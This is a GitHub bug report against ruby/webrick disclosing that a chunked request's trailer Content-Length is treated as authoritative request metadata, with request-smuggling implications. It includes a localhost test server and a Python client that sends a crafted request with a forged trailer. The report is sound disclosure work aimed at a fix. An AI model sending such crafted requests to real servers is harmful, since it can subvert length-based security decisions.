Skip to content

[BUG] WEBrick reparses trailer Content-Length into canonical request state, enabling request metadata confusion / request smuggling #198

@quart27219

Description

@quart27219

Summary

The latest ruby/webrick still accepts a Content-Length value from chunked request trailers and exposes it as canonical request metadata to the application. A crafted chunked request whose real body is 1 byte but whose trailer says Content-Length: 5 reaches the application with req['content-length'] == "5" and req.meta_vars['CONTENT_LENGTH'] == "5".

This preserves the security-relevant behavior behind CVE-2015-7519: attacker-controlled trailer data is treated as authoritative request length metadata.

Details

I revalidated the latest upstream WEBrick at commit:

78f51cbf3a13c34567cb79df91ce3e5dde1a8ab0

The relevant parser path is still in lib/webrick/httprequest.rb.

Chunked trailers are reparsed into @header:

def read_chunked(socket, block)
  ...
  read_header(socket)                    # trailer + CRLF
  @header.delete("transfer-encoding")
  @remaining_size = 0
end

And application-visible CGI/meta state is derived from that merged header map:

def meta_vars
  meta = Hash.new
  cl = self["Content-Length"]
  meta["CONTENT_LENGTH"] = cl if cl.to_i > 0
  ...
end

So a trailer-supplied Content-Length is promoted into:

  • req['content-length']
  • req.meta_vars['CONTENT_LENGTH']

On the live server path, a request with a 1-byte chunked body and trailer Content-Length: 5 produced:

REPORTED_HEADER_CONTENT_LENGTH=5
REPORTED_META_CONTENT_LENGTH=5
REPORTED_BODY_SIZE=1
RESULT=CONFIRMED
repo_head=78f51cbf3a13c34567cb79df91ce3e5dde1a8ab0

Reproduction

  1. Start a simple WEBrick::HTTPServer that returns:
    • req['content-length']
    • req.meta_vars['CONTENT_LENGTH']
    • actual parsed body size
  2. Send a raw chunked request with:
    • body chunk a
    • terminating chunk 0
    • trailer Content-Length: 5
  3. Observe that the application sees Content-Length: 5 while the actual body size is 1.

Minimal server:

require 'json'
require 'webrick'

server = WEBrick::HTTPServer.new(Port: 19080, BindAddress: '127.0.0.1', AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN))
server.mount_proc('/') do |req, res|
  req.body
  res['Content-Type'] = 'application/json'
  res.body = JSON.generate({
    content_length_header: req['content-length'],
    meta_content_length: req.meta_vars['CONTENT_LENGTH'],
    body_size: req.body ? req.body.bytesize : 0
  })
end
trap('TERM') { server.shutdown }
trap('INT') { server.shutdown }
server.start

Minimal client:

import socket

req = (
    b"POST / HTTP/1.1\r\n"
    b"Host: 127.0.0.1:19080\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    b"1\r\n"
    b"a\r\n"
    b"0\r\n"
    b"Content-Length: 5\r\n"
    b"\r\n"
)

with socket.create_connection(("127.0.0.1", 19080), timeout=5) as sock:
    sock.sendall(req)
    print(sock.recv(4096).decode(errors="replace"))

Expected Behavior

For a chunked request, trailer-supplied Content-Length should not become authoritative request metadata. It should be rejected, ignored, or kept separate from normal request header state.

Observed Behavior

The latest WEBrick reparses the trailer into the main header map and exposes the forged Content-Length through normal application-facing APIs.

Impact

This is a request parsing / metadata trust-boundary issue with request-smuggling implications.

Applications that trust req['content-length'] or req.meta_vars['CONTENT_LENGTH'] can make security-relevant decisions based on attacker-controlled trailer data, even though the actual body length is different.

Please check above the information and fix the code.
Also, let me know if there is anything you need to know when you proceed with the patch.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions